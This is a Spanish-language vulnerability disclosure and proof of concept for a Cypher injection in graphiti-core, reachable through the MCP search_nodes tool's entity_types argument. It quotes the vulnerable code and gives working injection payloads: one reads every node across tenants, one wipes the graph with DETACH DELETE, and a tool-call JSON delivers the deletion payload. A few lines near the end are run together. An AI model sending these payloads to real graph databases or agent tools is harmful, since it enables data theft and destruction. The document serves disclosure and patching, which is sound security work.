
Prueba de concepto para CVE-2026-32247, una inyección de Cypher en graphiti-core mediante node_labels no saneados, que demuestra la exfiltración de datos y la eliminación de grafos a través de MCP search_nodes.
Gravedad: Alta (CVSS 8.1)
CWE: CWE-943 — Neutralización incorrecta de elementos especiales en la lógica de consultas de datos
Afectado: graphiti-core <= 0.28.1 (pip)
Corregido en: 0.28.2
Aviso: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
Crédito: Romain Deperne
graphiti-core construye cláusulas WHERE de Cypher uniendo cadenas de etiquetas de nodo proporcionadas por el usuario con | y concatenándolas en una consulta sin procesar. Un atacante puede inyectar operadores Cypher arbitrarios, exfiltrar datos de cualquier nodo del grafo en todos los inquilinos o eliminar el grafo completo — sin parametrización ni validación en ningún punto de la cadena.
Revisé la construcción de consultas en el límite entre la herramienta MCP y la base de datos de grafos. En search_filters.py, 'n:' + node_labels concatenaba valores del parámetro entity_types de la herramienta directamente en una consulta Cypher.
Lo que hacía esto interesante más allá de una inyección estándar: la cláusula WITH de Cypher permite salir de un contexto WHERE e iniciar un pipeline completamente nuevo. Así, ) cierra la expresión de etiquetas entre paréntesis, WITH n transiciona a una nueva cláusula y // descarta silenciosamente el resto de la consulta original. Una sola carga útil, acceso completo al grafo.
Primero reproduje la construcción de la consulta en un script independiente y luego verifiqué el caso destructivo contra una base de datos de grafos antes de reportarlo.
Archivo: graphiti_core/search/search_filters.py, líneas 91–92 y 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Punto de entrada: mcp_server/src/graphiti_mcp_server.py, línea 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
El parámetro entity_types fluye desde la llamada a la herramienta search_nodes del MCP directamente hacia el constructor de consultas. Tanto los backends Neo4j como FalkorDB se ven afectados. El backend Kuzu no se ve afectado porque utiliza consultas parametrizadas.
El valor de node_label_filter (n:Label1|Label2) se incrusta en una consulta Cypher como:
WHERE (n:Label1|Label2) AND ...
Como las etiquetas se unen con | y el llamador las envuelve entre paréntesis, un atacante solo necesita cerrar la expresión con ) e inyectar nuevas cláusulas Cypher. El operador de comentario // suprime el resto de la consulta original.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Mediante llamada a herramienta MCP:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE borra todo el grafogroup_id se aplica después del filtro de etiquetas inyectable — inyectar una cláusula WITH lo elude por completoLa versión parcheada valida las etiquetas de nodo contra una lista de permitidos de caracteres alfanuméricos antes de la interpolación, y la ruta de búsqueda de texto completo utiliza consultas parametrizadas para los valores de group_id.